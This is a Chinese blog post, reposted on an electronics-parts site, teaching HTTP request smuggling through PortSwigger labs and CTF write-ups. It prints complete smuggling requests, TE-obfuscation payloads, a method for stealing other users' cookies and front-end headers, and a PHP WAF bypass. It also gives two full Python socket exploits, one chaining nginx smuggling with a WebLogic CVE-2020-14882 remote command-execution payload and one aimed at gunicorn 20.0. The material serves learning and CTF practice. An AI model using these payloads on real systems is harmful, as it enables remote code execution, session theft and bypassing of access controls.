资讯详情

协议层安全相关《http请求走私与CTF利用》

最近刷题的时候遇到了很多次。HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在中使用到了,具体来说就是通过nginx访问走私漏洞Weblogic Console登录页面,然后玩Weblogic读取历史漏洞flag。当时做那那个问题的时候,对走私漏洞没有深入的了解。今天我玩了ISCC2022年,我又遇到了另一次使用gunicorn<20.请走私漏洞绕waf所以要好好学习题目。

最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一个关于HTTP Request Smuggling报告这种攻击方式。通过整个RFC文档分析和丰富的例子证明了这种攻击的危害。

https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdfhttps://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

在2016年的上,@regilero在他的议题——Hiding Wookiees in HTTP丰富和扩大了上述报告中的攻击模式。

https://media.defcon.org/DEF CON 24/DEF CON 24 presentations/DEF CON 24 - Regilero-Hiding-Wookiees-In-Http.pdfhttps://media.defcon.org/DEF CON 24/DEF CON 24 presentations/DEF CON 24 - Regilero-Hiding-Wookiees-In-Http.pdf

在2019年的上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door针对当前的网络环境,展示了使用块编码进行攻击的攻击方法,扩大了攻击面,并提出了一套完整的检测使用过程。

当今的web在架构中,简单的一对一客户端-服务端结构已逐渐过时。服务端将分为两部分:。前端服务器(如代理服务器)负责安全控制。只有允许的请求才能转发给后端服务器,后端服务器无条件地相信前端服务器转发的所有请求,并响应每个请求。但在此过程中,确保前端服务器与后端服务器的请求边界一致,

听起来有点像吗?SSRF?不过SSRF与HTTP要求走私是区别,SSRF内网使用内网机访问内网资源,但请求走私不是。使用一个portswigger根据报告中的经典图片,有一种夹带私货的感觉。也许这就是为什么它被称为走私漏洞:

http请求走私攻击比较特殊,不像常规web漏洞如此直观。它更多的是在复杂的网络环境中,不同的服务器RFC实现标准的方式和程度不同。因此,对于同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。

在学之前我们先了解一下HTTP1.1中使用最为广泛的两种特性:

 所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。

 有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

 如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

 CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头(严格来讲前者是个实体头,为了方便就都用请求头代指)。这里比较有趣的是 Transfer-Encoding(HTTP/2 中不再支持),指定用于传输请求主体的编码方式,可以用的值有 chunked/compress/deflate/gzip/identity ,完整的定义在 Transfer-Encoding#Directives 和 rfc2616#section-3.6

 CL好理解,对于TE我们重点关注chunked。当我们设置TE为chunked时,CL就会被省略。为了区分chunk的边界,我们需要在每个chunk前面用16进制数来表示当前chunk的长度,后面加上\r\n,再后面就是chunk的内容,然后再用\r\n来代表chunk的结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。譬如下面这个例子:

 POST / HTTP/1.1  Host: example.com  Content-Type: application/x-www-form-urlencoded  Transfer-Encoding: chunked  b  //chunk_size  q=smuggling  6  hahaha  0  //end  [blank]  [blank]

,我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是:

 POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

 

 1.CL不为0

 如果前端代理服务器允许GET携带请求体,而后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的Content-Length头,这就有可能导致请求走私。

 例如我们构造出:

 GET / HTTP/1.1\r\n  Host: example.com\r\n  Content-Length: 43\r\n  GET / admin HTTP/1.1\r\n  Host: example.com\r\n  \r\n

 在前端服务器看来它是一个请求,但是在后端服务器来看它就是:

 //第一个请求  GET / HTTP/1.1\r\n  Host: example.com\r\n  //第二个请求  GET / admin HTTP/1.1\r\n  Host: example.com\r\n

 2.CL CL

 在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

 RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing https://tools.ietf.org/html/rfc7230#section-3.3.3

 但是很明显这并非是强制的,如果服务器不遵守安全规定在服务器收到多个CL不相同的请求时不返回400错误,那么就可能会导致请求走私。

 我们假设前端服务器按照第一个CL处理而后端服务器按照第二个CL,构造出如下HTTP包:

 POST / HTTP/1.1\r\n  Host: example.com\r\n  Content-Length: 8\r\n  Content-Length: 7\r\n  12345\r\n  a

 前端代理服务器收到的请求通过第一个CL判断body为8字节,随后将包发送给后端源服务器;源服务器收到请求通过第二个CL判断body为7字节,这时候最后一个字节 b'a'就会被遗留在源服务器缓存器。由于前后端服务器一般是宠用TCP连接,假设此时正常用户向服务器发送了正常的数据包,如下:

 GET / HTTP/1.1\r\n  Host: example.com\r\n

 这时残留在缓存中的一个字节就会被添加到这个正常的请求前端变成:

 aGET / HTTP/1.1\r\n  Host: example.com\r\n

 导致了请求走私,正常数据包被篡改。

 但很明显这种情况过于“巧合”应该很难遇见,存在两个CL的包一般服务器都不会接受,在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这就意味着我们可以在头部同时包含这两种请求头,相比这下这种方式更现实一些。

 3.CL TE

 所谓CL TE就是前置服务器认为 Content-Length 优先级更高(或者说根本就不支持 Transfer-Encoding ) ,后端服务器认为 Transfer-Encoding 优先级更高。

 我们可以构造出body中带有字节 0的请求包,前端服务器通过CL判断这是一个正常的数据包并转发给后端,后端服务器使用TE就会把字节0后的数据滞留到缓冲区,并且与下一次的正常请求进行拼接,这里用一下portswigger团队的lab作为实验:Lab: HTTP request smuggling, basic CL.TE vulnerability | Web Security Academyhttps://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

 构造如下请求包:

 POST / HTTP/1.1\r\n  Host: ac721f8e1fcb0119c0b98800005c0061.web-security-academy.net\r\n  Cookie: session=ehzpRrrgyPHDRJtSnaWLcZ0fstSXLWiC\r\n  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"\r\n  Sec-Ch-Ua-Mobile: ?0\r\n  Sec-Ch-Ua-Platform: "Windows"\r\n  Upgrade-Insecure-Requests: 1\r\n  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r\n  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n  Sec-Fetch-Site: none\r\n  Sec-Fetch-Mode: navigate\r\n  Sec-Fetch-User: ?1\r\n  Sec-Fetch-Dest: document\r\n  Accept-Encoding: gzip, deflate\r\n  Accept-Language: zh-CN,zh;q=0.9\r\n  Connection: close\r\n  Content-Length: 10\r\n  Transfer-Encoding:chunked\r\n  \r\n  0\r\n  \r\n  A\r\n  \r\n

 连续发送几次就会发现字母A被拼接到了下一请求中,导致了请求走私,当然也会报错。

 

 

 4.TE CL

 TE CL与CL TE正好相反,假如前端服务器处理TE请求头,而后端服务器处理CL请求头,我们同样可以构造恶意数据包完成走私攻击;依旧使用portswigger的lab:Lab: HTTP request smuggling, basic TE.CL vulnerability | Web Security Academyhttps://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

 我们构造出如下请求:

 POST / HTTP/1.1  Host: ac901ff41f9aa7fdc0ce7b16001000db.web-security-academy.net  Cookie: session=MrJkkUD4dyxv9gzzgERPtb56d0cCo79Z  Cache-Control: max-age=0  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"  Sec-Ch-Ua-Mobile: ?0  Sec-Ch-Ua-Platform: "Windows"  Upgrade-Insecure-Requests: 1  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  Sec-Fetch-Site: cross-site  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: Web Application Security, Testing, & Scanning - PortSwiggerhttps://portswigger.net/  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9  Connection: close  Content-Type: application/x-www-form-urlencoded  Content-Length: 4  Transfer-Encoding: chunked  12  WPOST / HTTP/1.1  0

 多次发送后发现:

 

 

 WPOST被拆分了出来,重点关注body部分

 \r\n  12\r\n  WPOST / HTTP/1.1\r\n  \r\n  0\r\n  \r\n

 前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端,而后端处理CL只读取4字节\r\n12就认为数据包结束,这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求,因此发生了请求报错。

 5.TE TE

 TE-TE:前置和后端服务器都支持 Transfer-Encoding,但通过混淆能让它们在处理时产生分歧。

 lab:Lab: HTTP request smuggling, obfuscating the TE header | Web Security Academyhttps://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header

 构造出如下请求包:

 POST / HTTP/1.1  Host: ace41f161f1a1382c0814ee300db0086.web-security-academy.net  Cookie: session=nqskpdP0aWuG4GW5xlYYxEUVulcJC6vG  Cache-Control: max-age=0  Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"  Sec-Ch-Ua-Mobile: ?0  Sec-Ch-Ua-Platform: "Windows"  Upgrade-Insecure-Requests: 1  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  Sec-Fetch-Site: cross-site  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: Web Application Security, Testing, & Scanning - PortSwigger  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.9  Connection: close  Content-Type: application/x-www-form-urlencoded  Content-Length: 4  Transfer-Encoding:chunked  //两种TE造成混淆  Transfer-Encoding:cow  5c  WPOST / HTTP/1.1  Content-Type: application/x-www-form-urlencoded  Content-Length: 15  x=1  0

 多次发送后:

 

 

 可以看到这里我们采用了:

 Transfer-Encoding:chunked\r\n  Transfer-Encoding:cow\r\n

 除了这种混淆方式,除了这些portswigger团队还给出了其它可用于TE混淆的payload:

 Transfer-Encoding: xchunked  Transfer-Encoding[空格]: chunked  Transfer-Encoding: chunked  Transfer-Encoding: x  Transfer-Encoding:[tab]chunked  [空格]Transfer-Encoding: chunked  X: X[\n]Transfer-Encoding: chunked  Transfer-Encoding  : chunked

 lab:https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/https://ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net/

 打开页面是blog,用户可以在页面发表评论,由于前后端服务器的请求头处理差异导致我们可以利用CL TE获取其它用户的请求头,譬如我们构造出如下请求:

 POST / HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 333  Transfer-Encoding:chunked  Content-Type: application/x-www-form-urlencoded  0  POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

 前端服务器使用CL验证,获取CL为333后判定这是一个正常的请求并发送给后端,而后端服务器通过TE的结尾表标识0\r\n\r\n认为前半部分是一个正常的请求,而后半部分:

 POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=spring

 因为Pipeline的存在被放置在了缓存区。如果这时另一个正常用户也发来了一段评论,那么这个请求会被拼接到滞留在缓存区的请求后面构成一个新的请求:

 POST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=plmft6w5VTTDEI0J15a06sNdaQUcPNPO  Content-Length: 700  Content-Type: application/x-www-form-urlencoded  csrf=vMqN9Cq1aip2DYMTyFEokIA5IkONc7oM&postId=6&name=a&email=1%40qq.com&website=http%3A%2F%2F1.com&comment=springPOST /post/comment HTTP/1.1  Host: ac991f4d1ef4a5e7c0bd1cc8006c0014.web-security-academy.net  Cookie: session=ashAwdweas.......

 这时候我们就发现,这样我们就可能通过获取到其他用户的Cookie。

 在lab中我们要不断第二个CL的大小,调整至合适大小才有可能正常泄露出来;我从700开始服务器报500,但不知道是哪里出了问题响应一直超时:

 

 

 不过原理还是很好理解,大家可以自己去试一试,有点玄学。

 前面我们提到,前端服务器的作用之一就是过滤外界用户对于未授权接口的访问,一般前端用户收到一段请求后,会在包里添加一些请求头例如:

• 用户的session等会话ID。

• XFF头用于显示用户IP,当然一般不会是X-Forwarded-For因为很容易被猜到。

• 用户指纹信息、token等。

 那么问题来了,我们如何能获取到前端服务器发送到后端服务器的请求头呢?其实不难想,如果服务器能对我们输入的POST参数,即body部分响应输出,然后我们构造一个普通的请求放在body后面,前端服务器接收到之后就会对我们添加的请求进行重写,如果我们的指定Content-Length为较大的值就会把前端服务器重写时添加的重要字段给泄露出来拼接到body后面,随后后端服务器会将其与响应一并返回。

 这么讲可能还是有些抽象,我们拿lab来举例:

 https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/https://acbc1f4d1e121980c02b64d600c40022.web-security-academy.net/

 构造出如下请求包:

 POST / HTTP/1.1  Host: acbc1f4d1e121980c02b64d600c40022.web-security-academy.net  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Cookie: session=RcsAYo8SoCQx0bwXn0oG0G1RkLNPHuz4  Content-Type: application/x-www-form-urlencoded  Content-Length: 77  Transfer-Encoding:chunked  0  POST / HTTP/1.1  Content-Length:70  Connection:close  search=111

 多发送几次我们会发现成功泄露出来XFF头信息:

 

 

 我们简单捋一下过程便于理解,首先前端服务器通过CL判断出这是一个完整的请求并转发给后端服务器,后端服务器通过TE将0字节标识前的部分正常处理,后半部分也被看作是一次正常的请求但被滞留在缓存区,同时由于我们设置的CL是超过实际长度,缓存区就会等待下一次正常请求,也就是前端服务器发来的新请求截取其部分请求头放在请求参数后面凑够CL后一并返回。

 我们走私到后端服务器被滞留在缓存区的请求是:

 POST / HTTP/1.1  Content-Length:70  Connection:close  search=111

 后端服务器接收到新请求并拼接在search之后是:

 POST / HTTP/1.1  Content-Length:70  Connection:close  search=111 POST / HTTP/1.1 X-TsINOz-Ip: 117.136.5.78 Host:......

 最后后端服务器就会将信息响应返回。

 除了这两种还有一些利用方式:

• 反射型 XSS 组合拳

• 将 on-site 重定向变为开放式重定向

• 缓存投毒

• 缓存欺骗

 这些师傅在知道创宇404发的paper里都有实验讲解,感兴趣的可以去看一看。(paper链接在文末)

 

 这道题目首先是需要nosql注入爆出密码,然后登陆获得任意文件读取功能,前半部分我们暂且忽略,我们重点关注后半部分。

 读取nginx配置文件发现后端存在weblogic服务:

 

 

 同时注意到nginx版本为1.17.6,存在请求走私:

 

 

 假如我们构造:

 GET /a HTTP/1.1  Host: localhost  Content-Length: 56  GET /_hidden/index.html HTTP/1.1  Host: notlocalhost

 那么nginx会把这两个请求都执行,这就会造成请求走私。可参考:HTTP请求走私攻击-学习笔记 | V0W's Bloghttps://v0w.top/2020/12/20/HTTPsmuggling/#5-2-%EF%BC%88CVE-2020-12440%EF%BC%89Nginx-lt-1-8-0-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81

 针对这道题目我们构造出如下请求包:

 GET /test HTTP/1.1  Host: node4.buuoj.cn:27230  Content-Length: 0  Transfer-Encoding: chunked  GET /console/login/LoginForm.jsp HTTP/1.1  Host: weblogic

 响应包中包含了weblogic的版本信息:

 WebLogic Server Version: 12.2.1.4.0

 版本正好契合CVE-2020-14882,我们直接拿socket去打就可以拿到flag。

 最终exp

 //来源于https://www.lemonprefect.cn的博客  import socket  sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sSocket.connect(("node4.buuoj.cn", 26319))  payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''  sSocket.send(payload)  sSocket.settimeout(2)  response = sSocket.recv(2147483647)  while len(response) > 0:     print(response.decode())     try:         response = sSocket.recv(2147483647)     except:         break  sSocket.close()

 

 常规绕waf

 首先查看源码根据提示来到calc.php

 

 

 代码对特殊字符进行了一些过滤,注意到最后代码执行,我们传入:

 calc.php?num=;)phpinfo();//

 执行后发现:

 

 

 明显是有waf不合法请求,有一种做法是,再用ascii转码读文件:

 ? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

 

 

 走私绕waf

 注意到只要能让前端服务器报错我们就能突破前端waf限制;所以事实上我们还可以利用走私攻击绕waf,而且前面四种方式都是有效的,这里,剩下几种大家可以自行尝试:

 注意下面的请求中num前没有空格了。

 CL CL

 

 

 CL TE

 

 

 分析与利用

  如果直接访问flag会爆403:

 

 

 我们通过相应包的头部发现了gunicorn20.0,经查阅版本存在请求走私,具体可参考:

 grenfeldt.devhttps://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/

 通过给出的POC我们编写脚本成功实现请求走私,看到要求很明显是需要获取前端服务器请求头的来源IP名称来伪造本地访问获取flag:

 

 

 那么我的思路就是多次发送请求,并且设置前一个请求的CL为超过实际请求体的较大数值;由于后端服务器设置Keep-Alive,所以它会误认为请求没有发送完毕,会继续等待;而这时候我们再给前端服务器发送一个请求,前端服务器就会把带有来源IP头部的http包发送给后端服务器,后端服务器接收足够上一包内CL的时候就会把这个泄露敏感凭证的包一并返回给客户端,从而造成了敏感信息泄露。

 其实思路与上面讲到的应用实例2一样,

 我们可以通过burp直接构造请求,自定义,比如第一个Content-Length仅仅是计算到第一个手动添加的POST请求,所以构造的时候要额外小心。

 

 

 

 

 当然我们直接写脚本拿socket发更直观。

 最终exp

 import socket  secret_payload=b'''POST / HTTP/1.1\r  Host: 59.110.159.206:7020\r  Content-Length: 149\r  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  Content-Type: application/x-www-form-urlencoded\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxPOST / HTTP/1.1\r  Host:127.0.0.1\r  secr3t_ip: 127.0.0.1\r  Content-Length: 150\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=abc\r  \r  POST / HTTP/1.1\r  Content-Length: 14\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=111\r  \r  '''  final_payload=b'''POST / HTTP/1.1\r  Host: 59.110.159.206:7020\r  Content-Length: 152\r  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\r  Content-Type: application/x-www-form-urlencoded\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxGET /fl4g HTTP/1.1\r  Host:127.0.0.1\r  secr3t_ip: 127.0.0.1\r  Content-Length: 150\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=abc\r  \r  POST / HTTP/1.1\r  Content-Length: 14\r  Content-Type: application/x-www-form-urlencoded\r  \r  search=111\r  \r  '''  test1 = b'''POST / HTTP/1.1\r  Host: 127.0.0.1\r  Content-Length: 67\r  Sec-Websocket-Key1:x\r  \r  xxxxxxxxGET /fl4g HTTP/1.1\r  Host:127.0.0.1\r  Content-Length: 123\r  \r  GET / HTTP/1.1\r  Host: 127.0.0.1\r  \r  '''  test2=b'''POST / HTTP/1.1  Host: 59.110.159.206:7020  Content-Length: 10  Content-Type: application/x-www-form-urlencoded  search=123'''  sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sSocket.connect(("59.110.159.206", 7020))  def send(payload):     print(payload)     sSocket.send(payload)     sSocket.settimeout(2)     response = sSocket.recv(2147483647)     while len(response) > 0:         print(response.decode())         try:             response = sSocket.recv(2147483647)         except:             break     sSocket.close()  if __name__ == '__main__':     send(final_payload)

 

 

 Tag: Smuggling | RBleug

 HTTP Desync Attacks: Request Smuggling Reborn | PortSwigger Research

 协议层的攻击——HTTP请求走私

 浅谈HTTP请求走私 - 先知社区

 

标签: 连接器j15

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台